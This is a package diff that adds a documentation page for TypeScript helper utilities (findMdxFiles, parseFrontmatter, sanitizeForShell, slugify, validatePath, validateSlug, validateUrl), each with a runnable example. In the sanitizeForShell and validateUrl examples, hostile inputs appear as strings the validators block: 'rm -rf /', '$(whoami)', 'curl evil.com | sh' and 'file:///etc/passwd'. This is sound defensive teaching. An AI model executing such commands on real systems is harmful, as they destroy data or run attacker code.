skrypt-ai 0.5.0 → 0.6.0

package/dist/template/content/docs/tools.md

@@ -0,0 +1,746 @@
+---
+title: "Tools & Utilities"
+description: "Helper functions and utilities"
+---
+
+<CardGroup cols={2}>
+  <Card title="findMdxFiles" icon="function" href="#findmdxfiles">
+    Collects MD/MDX file paths
+  </Card>
+  <Card title="parseFrontmatter" icon="function" href="#parsefrontmatter">
+    Extracts YAML frontmatter metadata
+  </Card>
+  <Card title="sanitizeForShell" icon="function" href="#sanitizeforshell">
+    Sanitizes strings for shell use
+  </Card>
+  <Card title="slugify" icon="function" href="#slugify">
+    Converts strings to URL slugs
+  </Card>
+  <Card title="validatePath" icon="function" href="#validatepath">
+    Validates file system paths
+  </Card>
+  <Card title="validateSlug" icon="function" href="#validateslug">
+    Validates URL-safe slug strings
+  </Card>
+  <Card title="validateUrl" icon="function" href="#validateurl">
+    Validates and sanitizes URLs
+  </Card>
+</CardGroup>
+
+
+## `findMdxFiles`
+
+```typescript
+function findMdxFiles(dir: string): string[]
+```
+
+Use this to collect all Markdown and MDX file paths from a directory tree — useful for documentation pipelines, static site generators, or any tooling that needs to process `.md`/`.mdx` content in bulk.
+
+Recursively walks a directory and returns the absolute paths of every `.md` and `.mdx` file found. Automatically skips hidden directories (e.g. `.git`), `node_modules`, and symlinks to avoid infinite loops and irrelevant files. Stops at a maximum depth of 30 levels.
+
+### Parameters
+
+| Name | Type | Required | Description |
+|------|------|----------|-------------|
+| `dir` | `string` | ✅ | Absolute or relative path to the root directory to search |
+
+### Returns
+
+`string[]` — An array of file paths (as strings) for every `.md` and `.mdx` file found. Returns an empty array if no matching files exist or the directory is empty.
+
+### Behavior Notes
+
+- **Skips** hidden directories (any folder starting with `.`)
+- **Skips** `node_modules` directories
+- **Skips** symlinks (both file and directory symlinks)
+- **Max depth** of 30 levels to prevent runaway recursion
+- Returns paths in filesystem traversal order (not sorted)
+
+### Example
+
+```typescript example.ts
+import { readdirSync, statSync, lstatSync, mkdirSync, writeFileSync, rmSync } from 'fs'
+import { join, extname } from 'path'
+
+// Self-contained implementation of findMdxFiles
+function findMdxFiles(dir: string): string[] {
+  const files: string[] = []
+
+  function walk(currentDir: string, depth: number): void {
+    if (depth > 30) return
+
+    let entries: string[]
+    try {
+      entries = readdirSync(currentDir)
+    } catch {
+      return
+    }
+
+    for (const entry of entries) {
+      const fullPath = join(currentDir, entry)
+
+      // Skip symlinks
+      let lstat
+      try {
+        lstat = lstatSync(fullPath)
+      } catch {
+        continue
+      }
+      if (lstat.isSymbolicLink()) continue
+
+      let stat
+      try {
+        stat = statSync(fullPath)
+      } catch {
+        continue
+      }
+
+      if (stat.isDirectory()) {
+        // Skip hidden directories and node_modules
+        if (entry.startsWith('.') || entry === 'node_modules') continue
+        walk(fullPath, depth + 1)
+      } else if (stat.isFile()) {
+        const ext = extname(entry)
+        if (ext === '.md' || ext === '.mdx') {
+          files.push(fullPath)
+        }
+      }
+    }
+  }
+
+  walk(dir, 0)
+  return files
+}
+
+// --- Demo: build a temporary directory tree and run findMdxFiles ---
+
+const testRoot = join('/tmp', `mdx-demo-${Date.now()}`)
+
+// Create a realistic docs structure
+const structure = [
+  'docs/intro.md',
+  'docs/guide/getting-started.mdx',
+  'docs/guide/advanced.mdx',
+  'docs/api/reference.md',
+  'docs/api/changelog.md',
+  'src/components/Button.tsx',   // should be ignored (wrong extension)
+  'src/utils/helpers.ts',        // should be ignored
+  'node_modules/some-pkg/README.md', // should be skipped (node_modules)
+  '.git/COMMIT_EDITMSG',         // should be skipped (hidden dir)
+]
+
+try {
+  for (const filePath of structure) {
+    const full = join(testRoot, filePath)
+    const dir = full.substring(0, full.lastIndexOf('/'))
+    mkdirSync(dir, { recursive: true })
+    writeFileSync(full, `# ${filePath}\n\nSample content.`)
+  }
+
+  console.log('Scanning:', testRoot)
+  const mdxFiles = findMdxFiles(testRoot)
+
+  console.log(`\nFound ${mdxFiles.length} Markdown/MDX files:`)
+  for (const file of mdxFiles) {
+    // Print relative path for readability
+    console.log(' ', file.replace(testRoot + '/', ''))
+  }
+
+  // Expected output:
+  // Found 5 Markdown/MDX files:
+  //   docs/api/changelog.md
+  //   docs/api/reference.md
+  //   docs/guide/advanced.mdx
+  //   docs/guide/getting-started.mdx
+  //   docs/intro.md
+  //
+  // Note: node_modules/ and .git/ entries are excluded
+
+} catch (error) {
+  console.error('Error during demo:', error)
+} finally {
+  // Clean up temp directory
+  rmSync(testRoot, { recursive: true, force: true })
+}
+```
+
+### Related
+
+<CardGroup cols={3}>
+  <Card title="importMarkdown" icon="link" href="/docs/other#importmarkdown">
+    Used by
+  </Card>
+</CardGroup>
+
+---
+
+
+## `parseFrontmatter`
+
+```typescript
+function parseFrontmatter(content: string): { data: Record<string, unknown>; content: string }
+```
+
+Use this to extract structured metadata and body content from Markdown files that use YAML frontmatter blocks (delimited by `---`).
+
+This is useful when processing `.md` files that contain metadata like titles, dates, tags, or authors at the top — it splits the file into a usable data object and the remaining content body.
+
+### Parameters
+
+| Name | Type | Required | Description |
+|------|------|----------|-------------|
+| `content` | `string` | ✅ | The full raw string content of a file, optionally beginning with a `---`-delimited YAML frontmatter block |
+
+### Returns
+
+An object with two properties:
+
+| Property | Type | Description |
+|----------|------|-------------|
+| `data` | `Record<string, unknown>` | Parsed key-value pairs from the YAML frontmatter block. Empty object `{}` if no frontmatter is found |
+| `content` | `string` | The remaining body text after the closing `---` marker. Returns the original string unchanged if no frontmatter is found |
+
+### Behavior Notes
+
+- If the content does **not** start with a `---` block, `data` will be `{}` and `content` will be the original string — no error is thrown
+- Supports both `\n` and `\r\n` line endings
+- Parses simple `key: value` YAML pairs; does not support nested YAML structures
+
+### Example
+
+```typescript example.ts
+// Inline implementation matching the real function's behavior
+function parseFrontmatter(content: string): { data: Record<string, unknown>; content: string } {
+  const match = content.match(/^---\r?\n([\s\S]*?)\r?\n---\r?\n?([\s\S]*)$/)
+  if (!match) return { data: {}, content }
+
+  const yamlStr = match[1]
+  const body = match[2]
+
+  // Parse simple "key: value" YAML lines
+  const data: Record<string, unknown> = {}
+  for (const line of yamlStr.split('\n')) {
+    const colonIndex = line.indexOf(':')
+    if (colonIndex === -1) continue
+    const key = line.slice(0, colonIndex).trim()
+    const value = line.slice(colonIndex + 1).trim()
+    // Coerce booleans and numbers; keep everything else as string
+    if (value === 'true') data[key] = true
+    else if (value === 'false') data[key] = false
+    else if (!isNaN(Number(value)) && value !== '') data[key] = Number(value)
+    else data[key] = value
+  }
+
+  return { data, content: body }
+}
+
+// --- Example 1: Markdown file with frontmatter ---
+const blogPost = `---
+title: Getting Started with TypeScript
+author: Jane Smith
+date: 2024-03-15
+published: true
+readingTime: 5
+---
+# Introduction
+
+TypeScript adds static typing to JavaScript, making your code more robust...
+`
+
+try {
+  const result = parseFrontmatter(blogPost)
+  console.log('Frontmatter data:', result.data)
+  // Output: { title: 'Getting Started with TypeScript', author: 'Jane Smith', date: '2024-03-15', published: true, readingTime: 5 }
+  console.log('Body preview:', result.content.slice(0, 40).trim())
+  // Output: # Introduction
+} catch (error) {
+  console.error('Failed to parse frontmatter:', error)
+}
+
+// --- Example 2: Content with NO frontmatter (graceful fallback) ---
+const plainMarkdown = `# Just a plain doc\n\nNo frontmatter here.`
+
+try {
+  const result = parseFrontmatter(plainMarkdown)
+  console.log('Data (should be empty):', result.data)
+  // Output: {}
+  console.log('Content returned unchanged:', result.content === plainMarkdown)
+  // Output: true
+} catch (error) {
+  console.error('Unexpected error:', error)
+}
+```
+
+### Related
+
+<CardGroup cols={3}>
+  <Card title="normalizeFrontmatter" icon="link" href="/docs/other#normalizefrontmatter">
+    Used by
+  </Card>
+  <Card title="getSortWeight" icon="link" href="/docs/other#getsortweight">
+    Used by
+  </Card>
+</CardGroup>
+
+---
+
+
+## `sanitizeForShell`
+
+```typescript
+function sanitizeForShell(input: string): string
+```
+
+Use this to validate and sanitize strings before passing them to shell commands, git operations, or filesystem paths — preventing command injection and unsafe character exploits.
+
+Accepts an input string and throws immediately if it contains any characters outside the safe allowlist (`a-z`, `A-Z`, `0-9`, `/`, `_`, `~`, `.`, `^`, `@`, `{`, `}`, `-`). Returns the original string unchanged if it passes validation.
+
+## Parameters
+
+| Name | Type | Required | Description |
+|------|------|----------|-------------|
+| `input` | `string` | ✅ | The string to validate. Must contain only alphanumeric characters and safe shell/git ref symbols: `/ _ ~ . ^ @ { } -` |
+
+## Returns
+
+| Condition | Result |
+|-----------|--------|
+| Input contains only safe characters | Returns the original `string` unchanged |
+| Input contains unsafe characters (spaces, `$`, `;`, `&`, `\|`, etc.) | Throws `Error: Unsafe characters in input: <input>` |
+
+## Common Safe Inputs
+- Git branch names: `feature/my-branch`, `release-1.0.0`
+- File paths: `src/utils/helpers.ts`
+- Git refs: `HEAD~2`, `v1.0.0^{}`
+- Tag names: `v2.3.1-beta`
+
+## Common Unsafe Inputs (will throw)
+- Shell metacharacters: `foo; rm -rf /`, `$(whoami)`
+- Spaces: `my branch`
+- Special chars: `file&name`, `path|pipe`
+
+### Example
+
+```typescript example.ts
+// Inline implementation — no external imports needed
+function sanitizeForShell(input: string): string {
+  // Only allow safe characters for git refs, filenames, etc.
+  if (!/^[a-zA-Z0-9/_~.^@{}\-]+$/.test(input)) {
+    throw new Error(`Unsafe characters in input: ${input}`)
+  }
+  return input
+}
+
+// --- Safe inputs ---
+const examples = [
+  'feature/my-new-branch',   // git branch name
+  'src/utils/index.ts',      // file path
+  'HEAD~2',                  // git ref
+  'v1.4.0-beta.1',           // semver tag
+  'deploy@{2024-01-01}',     // git stash ref
+]
+
+console.log('✅ Safe inputs:')
+for (const input of examples) {
+  try {
+    const result = sanitizeForShell(input)
+    console.log(`  sanitizeForShell("${input}") => "${result}"`)
+  } catch (err) {
+    console.error(`  Unexpected error for "${input}":`, err)
+  }
+}
+
+// --- Unsafe inputs ---
+const dangerousExamples = [
+  'branch name with spaces',   // spaces not allowed
+  'repo; rm -rf /',            // shell injection attempt
+  '$(whoami)',                 // command substitution
+  'path&background',           // shell background operator
+  'file|pipe',                 // pipe operator
+]
+
+console.log('\n❌ Unsafe inputs (expected to throw):')
+for (const input of dangerousExamples) {
+  try {
+    sanitizeForShell(input)
+    console.error(`  MISSED: "${input}" should have thrown!`)
+  } catch (err) {
+    if (err instanceof Error) {
+      console.log(`  Caught: ${err.message}`)
+    }
+  }
+}
+
+// --- Practical usage: building a git command safely ---
+function buildGitCheckoutCommand(branch: string): string {
+  const safeBranch = sanitizeForShell(branch)
+  return `git checkout ${safeBranch}`
+}
+
+console.log('\n🔧 Practical usage:')
+try {
+  const cmd = buildGitCheckoutCommand('feature/user-auth')
+  console.log(' Command:', cmd)
+  // Output: Command: git checkout feature/user-auth
+} catch (err) {
+  console.error('Failed to build command:', err)
+}
+
+try {
+  buildGitCheckoutCommand('main; curl evil.com | sh')
+} catch (err) {
+  if (err instanceof Error) {
+    console.log(' Injection blocked:', err.message)
+    // Output: Injection blocked: Unsafe characters in input: main; curl evil.com | sh
+  }
+}
+```
+
+---
+
+
+## `slugify`
+
+```typescript
+function slugify(str: string): string
+```
+
+Use this to convert any string into a clean, URL-safe slug — stripping special characters, spaces, and leading/trailing hyphens.
+
+Ideal for generating URL paths from titles, creating file-safe identifiers, or normalizing user input for routing.
+
+## Parameters
+
+| Name | Type | Required | Description |
+|------|------|----------|-------------|
+| `str` | `string` | ✅ | The input string to convert into a slug |
+
+## Returns
+
+A lowercase `string` with all non-alphanumeric characters replaced by hyphens, and any leading or trailing hyphens removed.
+
+| Input | Output |
+|-------|--------|
+| `"Hello World"` | `"hello-world"` |
+| `"My Blog Post #1!"` | `"my-blog-post-1"` |
+| `"  --weird---title--  "` | `"weird---title"` |
+
+### Example
+
+```typescript example.ts
+// Inline implementation — no imports needed
+function slugify(str: string): string {
+  return str
+    .toLowerCase()
+    .replace(/[^a-z0-9]+/g, '-')
+    .replace(/^-|-$/g, '')
+}
+
+// --- Example Usage ---
+
+const examples = [
+  "Hello World",
+  "My Awesome Blog Post #42!",
+  "  Leading & Trailing Spaces  ",
+  "C++ Programming Language",
+  "100% Free & Open-Source",
+  "already-a-slug",
+]
+
+try {
+  console.log("Input → Slug\n" + "-".repeat(40))
+
+  for (const title of examples) {
+    const slug = slugify(title)
+    console.log(`"${title}" → "${slug}"`)
+  }
+
+  // Practical use case: generate a URL path from a blog post title
+  const postTitle = "Getting Started with TypeScript in 2024"
+  const postId = 7
+  const urlPath = `/blog/${postId}/${slugify(postTitle)}`
+
+  console.log("\nGenerated URL path:")
+  console.log(urlPath)
+  // Output: /blog/7/getting-started-with-typescript-in-2024
+
+} catch (error) {
+  console.error("Slugify failed:", error)
+}
+```
+
+### Related
+
+<CardGroup cols={3}>
+  <Card title="generateSidebarConfig" icon="link" href="/docs/other#generatesidebarconfig">
+    Used by
+  </Card>
+</CardGroup>
+
+---
+
+
+## `validatePath`
+
+```typescript
+function validatePath(input: string, mustExist = true): string
+```
+
+Use this to safely resolve and validate file system paths before performing file operations — preventing path traversal issues and catching missing files early.
+
+`validatePath` resolves a relative or absolute path to its canonical form and optionally checks that the path exists on disk. It guards against directory traversal attacks by flagging paths that escape the current working directory.
+
+## Parameters
+
+| Name | Type | Required | Description |
+|------|------|----------|-------------|
+| `input` | `string` | ✅ | The file path to validate — relative (e.g. `./config.json`) or absolute (e.g. `/tmp/output.txt`) |
+| `mustExist` | `boolean` | ❌ | When `true` (default), throws if the resolved path does not exist on disk. Pass `false` to skip the existence check. |
+
+## Returns
+
+Returns the **resolved absolute path** as a `string` (e.g. `/home/user/project/config.json`).
+
+Throws an error if:
+- `mustExist` is `true` and the path does not exist
+- The path attempts to traverse outside the working directory in a disallowed way
+
+### Example
+
+```typescript example.ts
+import { existsSync } from 'fs'
+import { resolve } from 'path'
+
+// Inline implementation — do not import from 'autodocs'
+function validatePath(input: string, mustExist = true): string {
+  const resolved = resolve(input)
+
+  // Warn on paths outside cwd (but allow absolute paths like /tmp)
+  if (!resolved.startsWith(process.cwd()) && !resolved.startsWith('/tmp')) {
+    console.warn(`[validatePath] Warning: path is outside cwd — ${resolved}`)
+  }
+
+  if (mustExist && !existsSync(resolved)) {
+    throw new Error(`Path does not exist: ${resolved}`)
+  }
+
+  return resolved
+}
+
+// --- Example usage ---
+
+async function main() {
+  try {
+    // 1. Validate a path that must exist (default behavior)
+    const configPath = validatePath('./package.json')
+    console.log('Resolved config path:', configPath)
+    // Output: /home/user/project/package.json
+
+    // 2. Validate a path without requiring it to exist yet
+    //    (useful when preparing an output file location)
+    const outputPath = validatePath(
+      process.env.OUTPUT_PATH || './dist/output.json',
+      false // mustExist = false
+    )
+    console.log('Resolved output path (existence not required):', outputPath)
+    // Output: /home/user/project/dist/output.json
+
+    // 3. Validate a /tmp path (always allowed regardless of cwd)
+    const tmpPath = validatePath('/tmp/scratch.txt', false)
+    console.log('Resolved tmp path:', tmpPath)
+    // Output: /tmp/scratch.txt
+
+  } catch (error) {
+    if (error instanceof Error) {
+      // Common case: file not found
+      console.error('Path validation failed:', error.message)
+      // Output: Path does not exist: /home/user/project/nonexistent.json
+    }
+  }
+}
+
+main()
+```
+
+---
+
+
+## `validateSlug`
+
+```typescript
+function validateSlug(input: string): string
+```
+
+Use this to validate that a string is a safe slug before using it in URLs, file paths, or database identifiers. Throws immediately if the input contains invalid characters, so you can catch bad data early.
+
+**Validation rule:** Only alphanumeric characters (`a-z`, `A-Z`, `0-9`), hyphens (`-`), and underscores (`_`) are allowed. Spaces, dots, slashes, and any other special characters will cause a throw.
+
+### Parameters
+
+| Name | Type | Required | Description |
+|------|------|----------|-------------|
+| `input` | `string` | Yes | The string to validate as a slug |
+
+### Returns
+
+| Condition | Result |
+|-----------|--------|
+| Input matches `^[a-zA-Z0-9_-]+$` | Returns the original `input` string unchanged |
+| Input contains any other character | Throws `Error: Invalid slug: <input>. Only alphanumeric, hyphens, and underscores allowed.` |
+
+> **Tip:** The function returns the input as-is on success, making it easy to use inline: `const slug = validateSlug(userInput)`.
+
+### Example
+
+```typescript example.ts
+// Inline implementation — no external imports needed
+function validateSlug(input: string): string {
+  if (!/^[a-zA-Z0-9_-]+$/.test(input)) {
+    throw new Error(
+      `Invalid slug: ${input}. Only alphanumeric, hyphens, and underscores allowed.`
+    )
+  }
+  return input
+}
+
+// --- Valid slug examples ---
+const validSlugs = [
+  "my-blog-post",
+  "user_profile_42",
+  "HelloWorld",
+  "2024-release-v2",
+]
+
+console.log("✅ Valid slugs:")
+for (const slug of validSlugs) {
+  try {
+    const result = validateSlug(slug)
+    console.log(`  validateSlug("${slug}") => "${result}"`)
+    // Output: validateSlug("my-blog-post") => "my-blog-post"
+  } catch (error) {
+    console.error(`  Unexpected error for "${slug}":`, error)
+  }
+}
+
+// --- Invalid slug examples ---
+const invalidSlugs = [
+  "hello world",   // space
+  "post/title",    // slash
+  "tag.name",      // dot
+  "<script>",      // special chars
+  "",              // empty string
+]
+
+console.log("\n❌ Invalid slugs (expected errors):")
+for (const slug of invalidSlugs) {
+  try {
+    validateSlug(slug)
+    console.error(`  Expected error for "${slug}" but none was thrown`)
+  } catch (error) {
+    if (error instanceof Error) {
+      console.log(`  validateSlug("${slug}") => throws: ${error.message}`)
+      // Output: throws: Invalid slug: hello world. Only alphanumeric, hyphens, and underscores allowed.
+    }
+  }
+}
+
+// --- Typical usage: validate before building a URL ---
+function buildPostUrl(baseUrl: string, slugInput: string): string {
+  const slug = validateSlug(slugInput) // throws if invalid
+  return `${baseUrl}/posts/${slug}`
+}
+
+try {
+  const url = buildPostUrl("https://example.com", "my-awesome-post")
+  console.log("\n🔗 Built URL:", url)
+  // Output: https://example.com/posts/my-awesome-post
+} catch (error) {
+  console.error("Failed to build URL:", error)
+}
+```
+
+---
+
+
+## `validateUrl`
+
+```typescript
+function validateUrl(input: string): string
+```
+
+Use this to validate and sanitize URL strings before making HTTP requests or storing user-provided URLs. Ensures the input is a well-formed URL with a safe protocol (`http:` or `https:`), throwing descriptive errors for invalid input.
+
+## Parameters
+
+| Name | Type | Required | Description |
+|------|------|----------|-------------|
+| `input` | `string` | ✅ | The URL string to validate. Must be a well-formed URL using `http:` or `https:` protocol. |
+
+## Returns
+
+| Condition | Result |
+|-----------|--------|
+| Valid `http://` or `https://` URL | Returns the original URL string |
+| Malformed URL (unparseable) | Throws `Error` with parse details |
+| Unsupported protocol (e.g. `ftp:`, `file:`) | Throws `Error: Invalid protocol: <protocol>` |
+
+### Example
+
+```typescript example.ts
+// Inline implementation of validateUrl — no external imports needed
+function validateUrl(input: string): string {
+  try {
+    const url = new URL(input)
+    if (!['http:', 'https:'].includes(url.protocol)) {
+      throw new Error(`Invalid protocol: ${url.protocol}`)
+    }
+    return input
+  } catch (err) {
+    if (err instanceof TypeError) {
+      throw new Error(`Invalid URL: ${input}`)
+    }
+    throw err
+  }
+}
+
+// --- Examples ---
+
+const testCases = [
+  { input: 'https://api.example.com/v1/data',  label: 'Valid HTTPS URL' },
+  { input: 'http://localhost:3000/health',      label: 'Valid HTTP (localhost)' },
+  { input: 'ftp://files.example.com/report',   label: 'Unsupported protocol' },
+  { input: 'file:///etc/passwd',               label: 'Dangerous file protocol' },
+  { input: 'not-a-url-at-all',                 label: 'Completely malformed' },
+]
+
+for (const { input, label } of testCases) {
+  try {
+    const result = validateUrl(input)
+    console.log(`✅ [${label}] => ${result}`)
+    // Output: ✅ [Valid HTTPS URL] => https://api.example.com/v1/data
+    // Output: ✅ [Valid HTTP (localhost)] => http://localhost:3000/health
+  } catch (error) {
+    console.error(`❌ [${label}] => ${(error as Error).message}`)
+    // Output: ❌ [Unsupported protocol] => Invalid protocol: ftp:
+    // Output: ❌ [Dangerous file protocol] => Invalid protocol: file:
+    // Output: ❌ [Completely malformed] => Invalid URL: not-a-url-at-all
+  }
+}
+
+// Practical usage: validate before fetching
+async function safeFetch(rawUrl: string): Promise<void> {
+  try {
+    const validatedUrl = validateUrl(rawUrl)
+    console.log(`\nFetching: ${validatedUrl}`)
+    // const response = await fetch(validatedUrl)  // safe to use here
+  } catch (error) {
+    console.error(`Blocked request — ${(error as Error).message}`)
+  }
+}
+
+safeFetch(process.env.TARGET_URL || 'https://api.example.com/v1/users')
+// Output: Fetching: https://api.example.com/v1/users
+```
+
+---
+